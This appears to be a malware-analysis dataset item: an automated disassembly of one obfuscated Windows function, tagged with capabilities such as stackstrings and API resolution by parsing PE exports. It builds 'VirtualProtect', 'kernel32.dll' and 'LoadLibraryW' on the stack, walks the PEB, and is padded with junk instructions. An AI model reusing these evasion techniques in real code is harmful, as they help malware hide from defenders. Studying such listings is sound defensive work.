Function at 0x40824d
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ecx
add esp, 4
add edi, 0x9b55
add edi, 0xff0f
pop edi
push edx
push esi
add esp, 4
add edx, 0x1797a
pop edx
push edi
or edi, 0x4884
or edi, 0x1e0
xor edi, 0x14d2a
pop edi
mov eax, dword [ebp - 0x3e4]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ed], cl
mov edx, dword [ebp - 0xac4]
sub edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x169c], edx
mov dword [ebp - 0xcec], 0
push esi
push edi
add esp, 4
sub esi, 0x17048
pop esi
push esi
push ebx
add esp, 4
sub esi, 0x5212
pop esi
push ebx
push edx
add esp, 4
jmp 0x407e71
and ebx, 0x1104e
xor ebx, 0xe625
pop ebx
mov byte [ebp - 0x9d8], 0x56
mov byte [ebp - 0x9d7], 0x69
mov byte [ebp - 0x9d6], 0x72
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x75
mov byte [ebp - 0x9d3], 0x61
mov byte [ebp - 0x9d2], 0x6c
mov byte [ebp - 0x9d1], 0x50
mov byte [ebp - 0x9d0], 0x72
mov byte [ebp - 0x9cf], 0x6f
mov byte [ebp - 0x9ce], 0x74
mov byte [ebp - 0x9cd], 0x65
mov byte [ebp - 0x9cc], 0x63
mov byte [ebp - 0x9cb], 0x74
mov byte [ebp - 0x9ca], 0
push edx
push ebx
add esp, 4
add edx, 0xa769
pop edx
push edx
or edx, 0x14ff0
pop edx
push eax
push eax
add esp, 4
add eax, 0x326b
xor eax, 0xb277
add eax, 0x16313
add eax, 0x1486d
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19c8], eax
mov ecx, dword [ebp - 0x19c8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19cc], edx
mov eax, dword [ebp - 0x19cc]
mov dword [ebp - 0x161c], eax
push ecx
push edx
add esp, 4
call 0x407f51
add byte [esi], bh
dec esi
dec edi
inc ebp
inc esp
push eax
add esp, 4
xor ecx, 0x17c59
pop ecx
push edi
call 0x407f68
add byte [edx + 0x45], cl
inc edi
inc eax
add esp, 4
add edi, 0x7c86
pop edi
cmp dword [ebp - 0x161c], 0
jne 0x407f8a
mov dword [ebp - 0x2f4], 0
jmp 0x408231
mov ecx, dword [ebp - 0x161c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcc8], eax
push ecx
and ecx, 0x1867e
add ecx, 0x5d3f
pop ecx
push edi
push ecx
add esp, 4
jmp 0x407fb4
xor edi, 0x16233
call 0x407fca
add byte [0x4b4c453d], dh
dec ecx
cmp bh, byte ds:[edx + eax*2]
add esp, 4
pop edi
cmp dword [ebp - 0xcc8], 0
jne 0x407fe6
mov dword [ebp - 0x2f4], 0
jmp 0x408231
mov ecx, dword [ebp - 0xcc8]
mov dword [ebp - 0x518], ecx
push edx
sub edx, 0x16db3
and edx, 0x826
pop edx
push esi
push edx
add esp, 4
call 0x408014
add byte [edx], bh
dec edx
cmp al, 0x4f
xor al, 0x46
cmp byte [esp + edi - 0x7d], cl
les eax, [ecx + eax*4]
out 0x47, al
mov ebp, 0xee810000
cli
inc byte [eax]
add byte [esi - 0x73], bl
xchg ebp, eax
shr al, 0xff
dec dword [ecx - 0xcc36b]
dec dword [ebx - 0x5177b]
dec dword [ebx - 0x7276cfb8]
inc eax
invalid
push ebx
push esi
add esp, 4
jmp 0x40823f
pop ebx
push esi
call 0x40824d
add byte [ebx + ecx*2], dh
dec edi
dec edi
dec esi
add esp, 4
jmp 0x408257
add esi, 0xfa3e
jmp 0x408262
pop esi
cmp dword [ebp - 0x2f4], 0
jne 0x408b68
mov eax, 0x6b
mov word [ebp - 0x17c8], ax
mov ecx, 0x65
mov word [ebp - 0x17c6], cx
mov edx, 0x72
mov word [ebp - 0x17c4], dx
mov eax, 0x6e
mov word [ebp - 0x17c2], ax
mov ecx, 0x65
mov word [ebp - 0x17c0], cx
mov edx, 0x6c
mov word [ebp - 0x17be], dx
mov eax, 0x33
mov word [ebp - 0x17bc], ax
mov ecx, 0x32
mov word [ebp - 0x17ba], cx
mov edx, 0x2e
mov word [ebp - 0x17b8], dx
mov eax, 0x64
mov word [ebp - 0x17b6], ax
mov ecx, 0x6c
mov word [ebp - 0x17b4], cx
mov edx, 0x6c
mov word [ebp - 0x17b2], dx
xor eax, eax
mov word [ebp - 0x17b0], ax
push eax
call 0x408317
add byte [ebx + eax*2 + 0x3e], al
dec esi
aaa
aaa
cmp al, byte [ebx - 0x1f7efb3c]
jbe 0x408398
add dword [eax], eax
add eax, 0x10c21
pop eax
push esi
add esi, 0x14c84
sub esi, 0x8f79
add esi, 0x16a06
pop esi
mov byte [ebp - 0x8a8], 0x4c
mov byte [ebp - 0x8a7], 0x6f
mov byte [ebp - 0x8a6], 0x61
mov byte [ebp - 0x8a5], 0x64
mov byte [ebp - 0x8a4], 0x4c
mov byte [ebp - 0x8a3], 0x69
mov byte [ebp - 0x8a2], 0x62
mov byte [ebp - 0x8a1], 0x72
mov byte [ebp - 0x8a0], 0x61
mov byte [ebp - 0x89f], 0x72
mov byte [ebp - 0x89e], 0x79
mov byte [ebp - 0x89d], 0x57
mov byte [ebp - 0x89c], 0
mov ecx, dword fs:[0x18]
or eax, 0x18
mov dword [ebp - 0x19d0], ecx
mov edx, dword [ebp - 0x19d0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19d4], eax
mov ecx, dword [ebp - 0x19d4]
mov dword [ebp - 0x1628], ecx
push edx
push ebx
add esp, 4
call 0x4083d2
add byte [edx], bh
xor eax, dword [ebx + 0x38]
inc edx
dec esp
cmp byte [eax*2 - 0x7efb3b7d], dh
ljmp 0xf281
push ecx
push esi
add esp, 4
add ecx, 0xf6f6
xor ecx, 0x1427b
or ecx, 0x5696
and ecx, 0xc6f9
pop ecx
push eax
xor eax, 0x2ded
add eax, 0x6d86
insd dword es:[edi], dx
add byte [eax], al
xor eax, 0x349a
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x19f0], ecx
mov edx, dword [ebp - 0x19f0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x19f4], eax
mov ecx, dword [ebp - 0x19f4]
mov dword [ebp - 0x1684], ecx
push ecx
sub ecx, 0x21db
jmp 0x408bcf
jmp 0x408bd4
jmp 0x408bd9
pop ecx
push edi
and edi, 0xe387
add edi, 0xda80
sub edi, 0x1090a
or edi, 0xbf7e
pop edi
cmp dword [ebp - 0x1684], 0
jne 0x408c0c
mov dword [ebp - 0x2f4], 0
jmp 0x408eb3
mov edx, dword [ebp - 0x1684]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xce4], ecx
push edi
call 0x408c2e
add byte [ecx + edi], dh
dec eax
inc eax
inc esi
xor eax, dword [eax + 0x40]
cmp eax, 0x8104c483
not dword [eax + eax*4]
add al, ch
or al, byte [eax]
add byte [eax], al
add byte [ebp + 0x36], cl
dec ecx
xor eax, 0x3e4b4138
add esp, 4
add edi, 0xfbe
pop edi
cmp dword [ebp - 0xce4], 0
jne 0x408c68
mov dword [ebp - 0x2f4], 0
jmp 0x408eb3
mov edx, dword [ebp - 0xce4]
mov dword [ebp - 0x520], edx
push edx
push edx
add esp, 4
sub edx, 0x395d
or edx, 0xfb6
call 0x408c91
add byte [ecx + 0x50], al
cmp dword [ebp + 0x4a], eax
dec edi
add esp, 4
call 0x408ca2
add byte [eax + 0x36], al
aas
inc edx
inc edi
inc eax
xor al, 0x83
les eax, [edx + ebx*2]
lea eax, [ebp - 0x1740]
mov dword [ebp - 0xce0], eax
mov ecx, dword [ebp - 0x520]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcdc], edx
xor eax, eax
mov word [ebp - 0x224], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
jmp 0x408cd6
xor esi, 0xde46
pop esi
push ecx
push esi
add esp, 4
add ecx, 0x164bd
call 0x408cf8
add byte [ecx + edi + 0x33], cl
cmp dword [0x354d3b38], esi
dec eax
add esp, 4
add ecx, 0x1809f
pop ecx
mov edx, dword [ebp - 0xcdc]
mov ax, word [edx]
invalid
invalid
invalid
mov dh, 0xef